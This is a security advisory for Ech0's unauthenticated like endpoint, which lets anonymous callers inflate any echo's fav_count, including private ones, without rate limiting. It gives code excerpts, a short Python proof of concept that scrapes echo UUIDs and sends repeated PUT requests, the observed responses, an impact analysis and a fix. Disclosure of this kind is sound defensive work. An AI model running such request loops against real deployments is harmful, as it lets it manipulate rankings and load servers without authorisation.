Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count

Summary

PUT /api/echo/like/:id at internal/router/echo.go:12 is registered on PublicRouterGroup with no authentication and no rate limit. Anonymous callers increment the fav_count counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public GET /api/echo/page response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.

Details

Route registration at internal/router/echo.go:12:

appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())

PublicRouterGroup is r.Group("/api") without the JWT middleware that AuthRouterGroup applies. The handler passes through to EchoService.LikeEcho, which calls EchoRepository.LikeEcho at internal/repository/echo/echo.go:270:

func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {
    var exists bool
    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
        Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil {
        return err
    }
    if !exists {
        return errors.New(commonModel.ECHO_NOT_FOUND)
    }
    if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
        Where("id = ?", id).
        UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil {
        return err
    }
    return nil
}

No viewer check, no ownership check, no private-flag check. Compare the read path at EchoService.GetEchoById (internal/service/echo/echo.go:275-300) which rejects anonymous readers on private echoes; the like path skips that gate. InvalidateEchoCaches (internal/repository/echo/echo.go:51-58) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind checkRateLimit (internal/service/comment/comment.go:731-766, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.

Proof of Concept

Default install, anonymous caller on the network:

import requests
TARGET = "http://localhost:8300"

# 1) Discover an echo UUID from the public feed (no auth).
page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()
echo_id = page["data"]["items"][0]["id"]

# 2) Like it. Repeat without deduplication.
for i in range(3):
    r = requests.put(f"{TARGET}/api/echo/like/{echo_id}")
    print(f"public like #{i+1}: HTTP {r.status_code} {r.text}")

# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,
#    but the UUID arrives via other channels (logs, referer, shared drafts).
private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b"  # admin-created private echo
r = requests.put(f"{TARGET}/api/echo/like/{private_id}")
print(f"private like: HTTP {r.status_code} {r.text}")

Observed on v4.5.6 in the test container:

public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}

The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID 019daf77-4a97...) succeeded even though GetEchosById would refuse to read that echo for an anonymous caller.

Impact

Anonymous, rate-limit-free writes against any echo's fav_count. Direct impact:

• Popularity signal destruction. fav_count powers the hot feed; a single script skews the ranking at will.
• Private-boundary bypass. Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.
• Server and cache load. Every call triggers a SQLite UPDATE transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader.

Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable.

Recommended Fix

Move the route to AuthRouterGroup so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer:

appRouterGroup.AuthRouterGroup.PUT(
    "/echo/like/:id",
    middleware.RateLimit(5, 10),
    h.EchoHandler.LikeEcho(),
)

At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user:

func (s *EchoService) LikeEcho(ctx context.Context, id string) error {
    userID := viewer.MustFromContext(ctx).UserID()
    if userID == "" {
        return errors.New(commonModel.NO_PERMISSION_DENIED)
    }
    echo, err := s.echoRepository.GetEchosById(ctx, id)
    if err != nil || echo == nil {
        return errors.New(commonModel.ECHO_NOT_FOUND)
    }
    if echo.Private {
        user, err := s.commonService.CommonGetUserByUserId(ctx, userID)
        if err != nil || !user.IsAdmin {
            return errors.New(commonModel.NO_PERMISSION_DENIED)
        }
    }
    return s.echoRepository.LikeEchoOnce(ctx, id, userID)
}

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